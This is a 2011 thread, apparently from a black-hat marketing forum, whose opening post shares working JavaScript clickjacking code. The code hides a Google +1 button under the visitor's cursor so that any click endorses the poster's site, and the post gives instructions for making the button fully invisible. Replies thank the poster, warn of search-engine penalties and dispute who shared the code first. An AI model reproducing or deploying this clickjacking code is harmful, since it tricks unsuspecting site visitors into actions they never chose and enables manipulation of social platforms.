1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[GET] Google's G+ Clickjacking code

Discussion in 'Social Networking Sites' started by moviedemands, Aug 15, 2011.

  1. moviedemands

    moviedemands BANNED BANNED

    Joined:
    Jun 22, 2011
    Messages:
    203
    Likes Received:
    156
    I have seen another thread here that provided code for clickjacking, but the code was very ugly.
    What this does is creates a g+ button that follows your mouse cursor around so when the person click on the site they are adding your site to their g+ account sharing it with their friends. (if they are logged into their google account)

    This code needs to be edited, rite now its setup so you can see the g+ button just to show you how it works.
    When you want to hide the g+ button simple change the line below:

    Change: twitterFollowIframe.style.filter = 'alpha(opacity=20)';
    To: twitterFollowIframe.style.filter = 'alpha(opacity=0)';

    Also, you need to add to the script, rite now the page does not refresh or add cookies to stop the people from clicking again and removing the g+ from their account. This is just the basic setup, you will need to add to it.

    Ignore the "twitter" inside the code, this was created to exploit twitters new one click follow button. Then noticed it could be used for g+ as well.

    Here's a clean version:

    Code:
    <html>
    <head>
    <style>
    </style>
    <script type="text/javascript" src="http://apis.google.com/js/plusone.js">
    {lang: 'en'}
    </script>
    </head>
    <center><h1>Google+ CJ Code</h1></center>
    
    <div>
    <g:plusone size="small"></g:plusone>
    </div>
    
    
    <script>
    if (!document.getElementsByClassName){
        document.getElementsByClassName = function(classname){
            for (i=0; i<document.getElementsByTagName("*").length; i++)
            {  
                if (document.getElementsByTagName("*").item(i).className == classname){
                    return new Array(document.getElementsByTagName("*").item(i));
                }
            }
        }
    }
    
    var twitterFollowIframe = document.getElementById('___plusone_0');
    
    function getDivId(){
        twitterFollowIframe = document.getElementById('___plusone_0');
        if(twitterFollowIframe == null){
            setTimeout("getDivId()",200);
        }else{
            twitterFollowIframe.style.position = 'absolute';
            twitterFollowIframe.style.opacity = '0.2';
            twitterFollowIframe.style.filter = 'alpha(opacity=20)';
        }
    }
    
    getDivId();
    
    document.onmousemove = function(e){
        if ( !e ) e = window.event;
        if(twitterFollowIframe != null){
            twitterFollowIframe.style.left = e.clientX - 15;
            twitterFollowIframe.style.top = e.clientY - 10;
        }
    }
    </script>
    </html>
    
    
    I'm not taken credit for this, simply sharing.
    This must be upload, it wont work on your desktop.

    Feel free to click the "thanks" button
     
    • Thanks Thanks x 15
    Last edited: Aug 15, 2011
  2. freemoon

    freemoon Registered Member

    Joined:
    Aug 13, 2011
    Messages:
    94
    Likes Received:
    31
    sorry! but what is clickjacking?
     
  3. SEOintraining

    SEOintraining Newbie

    Joined:
    Jun 1, 2011
    Messages:
    31
    Likes Received:
    3
    When someone click anywhere on your page it will +1 your page if they are logged on their google account.

    Good script
     
    • Thanks Thanks x 3
  4. moviedemands

    moviedemands BANNED BANNED

    Joined:
    Jun 22, 2011
    Messages:
    203
    Likes Received:
    156
    Sorry, thread updated. Read above.
     
  5. penangite

    penangite Junior Member

    Joined:
    Jul 10, 2010
    Messages:
    114
    Likes Received:
    123
    wow...cool script!
    thanks buddy :)
     
  6. marekpl

    marekpl Newbie

    Joined:
    Jan 11, 2010
    Messages:
    38
    Likes Received:
    4
    not sure if it was from this or my facebook clickjack, or from panda update but my entire site was deindexed - let me know if this happened to anyone else
     
  7. ajithrocksca

    ajithrocksca Jr. VIP Jr. VIP Premium Member

    Joined:
    Dec 23, 2010
    Messages:
    1,102
    Likes Received:
    590
    Occupation:
    full time internet marketer
    Location:
    Jersey City
    google is extra cautious about click jackers and people who outsource google +1s .. never try it on your money making site..
     
  8. rulez05

    rulez05 Power Member

    Joined:
    Feb 3, 2011
    Messages:
    745
    Likes Received:
    142
    I saw this before on other forums :D

    this is the easy way to get penalize by google I read many of those on other forums
     
  9. moviedemands

    moviedemands BANNED BANNED

    Joined:
    Jun 22, 2011
    Messages:
    203
    Likes Received:
    156
    it sure is a good way to get a google slap, its clickjacking.
    if you understand what clickjacking is you should know it comes with a risk.

    Your on a BH forum, learn to think blackhat.
     
  10. RightInTwo

    RightInTwo Power Member

    Joined:
    Feb 23, 2010
    Messages:
    744
    Likes Received:
    381
    Home Page:
    Thanks for the share, but I wouldn't recommend doing this on the money site. I think google is extra cautious about clickjacking and you could easily get banned.
     
  11. scweb

    scweb Newbie

    Joined:
    Nov 14, 2010
    Messages:
    37
    Likes Received:
    7
    Thanks for the code! I've been looking for a similar script for a while now. I think with a little tweaking it will fit my needs quite nicely :)
     
  12. moviedemands

    moviedemands BANNED BANNED

    Joined:
    Jun 22, 2011
    Messages:
    203
    Likes Received:
    156
    guys, stop using my thread to increase your post count lol

    If you want to say thanks use the "thanks" button located on the bottom right of every post.
     
  13. ExtremeSEO

    ExtremeSEO BANNED BANNED

    Joined:
    Nov 11, 2009
    Messages:
    364
    Likes Received:
    394
    OP....please search the forums first, this was already shared by Harro

    http://www.blackhatworld.com/blackhat-seo/blackhat-lounge/314683-google-1-clickjacking.html
     
  14. jbrewski

    jbrewski Junior Member

    Joined:
    May 12, 2011
    Messages:
    116
    Likes Received:
    32
    Location:
    USA
    NICE!
    definitely a good way to send a page viral on google!!
     
  15. moviedemands

    moviedemands BANNED BANNED

    Joined:
    Jun 22, 2011
    Messages:
    203
    Likes Received:
    156
    lol wow..
    I don't want to sound rude but man, did you even bother to take a look at both threads? The code IS NOT the same. his share has some ugly code.

    Please before you try to link to other threads inside mine please make sure you know what your talking about. thanks

    NOTICE:

    "I have seen another thread here that provided code for clickjacking, but the code was very ugly."
     
    Last edited: Aug 15, 2011
  16. ExtremeSEO

    ExtremeSEO BANNED BANNED

    Joined:
    Nov 11, 2009
    Messages:
    364
    Likes Received:
    394
    Those are some strong words talking about Harro like that...
     
  17. youlikehitsbot

    youlikehitsbot Newbie

    Joined:
    Jul 30, 2011
    Messages:
    15
    Likes Received:
    0
    is the code working? has any one applied it?
     
  18. latestt181

    latestt181 Newbie

    Joined:
    May 22, 2011
    Messages:
    25
    Likes Received:
    23

    his share has some ugly code --> his share..not he has
    the code was very ugly --> the code...not Harro

    and if you guys read into it again..
    Harro and Facebookdude took it for some site..
    so knock it off guys...
     
    • Thanks Thanks x 1
  19. moviedemands

    moviedemands BANNED BANNED

    Joined:
    Jun 22, 2011
    Messages:
    203
    Likes Received:
    156

    lol you rate the thread bad because you cant read?
    your an awesome member of bhw man :)
     
  20. facebookdude

    facebookdude Elite Member

    Joined:
    Feb 28, 2010
    Messages:
    1,506
    Likes Received:
    2,489
    You want to have some respect man. I shared the code MONTHS ago then Harro shared it. You could've shared yours and called it 'The Improved +1 Clickjack' but instead you come in and call ours ugly? Wtf dude. Your code isn't revolutionary, it does the same things ours does.
     
    • Thanks Thanks x 1